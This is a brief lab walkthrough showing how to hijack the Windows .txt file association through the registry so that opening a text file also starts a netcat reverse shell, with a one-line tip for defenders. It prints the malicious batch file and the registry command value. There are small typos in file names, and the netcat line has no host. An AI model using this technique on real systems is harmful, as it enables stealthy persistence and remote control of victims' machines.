Hijacking Default File Extension

When a .txt file is double clicked, it's opened with a notepad.exe. Windows knows that it needs to use notepad.exe for opening txt files, because the .txt extension (among many others) are mapped to applictions that can open those files in Windows registry located at Computer\HKEY_CLASSES_ROOT.

It's possible to hijack a file extension and make it execute a malicious application before the actual file is opened.

In this quick lab, I'm going to hijack the .txt extension - the victim user will still be able to open the original .txt file, but it will additionally fire a reverse shell back to the attacking system.


The .txt extension handler is defined in the below registry key:


Below shows that the command responsible for opening .txt files is notepad.exe %1, where %1 is the argument for notepad.exe, which specifies a file name the notepad should open:

Say, a target user has the file test.exe on his desktop with the below file contents:

Let's now create a malicious file that we want to be executed when the user attempts to open the benign file test.txt. For this lab, the malicious file is going to be a simple Windows batch file located in c:\tools\shell.cmd:

start C:\tools\nc.exe 443 -e C:\Windows\System32\cmd.exe
start notepad.exe %1

Once executed, c:\tools\hell.cmd will launch a simple netcat reverse shell to the attacking system and also a notepad with the test.txt file as an argument.

We are now ready to hijack the .txt file extension by modifying the value data of Computer\HKEY_CLASSES_ROOT\txtfile\shell\open\command to c:\tools\shell.cmd %1 as shown below:


Opening the test.txt file by double clikcing it opens the file itself, but a reverse shell is thrown to the attacking system as well:


Defenders may want to monitor registry for file extension command changes, especially if the data field contains binaries located in unusual places.


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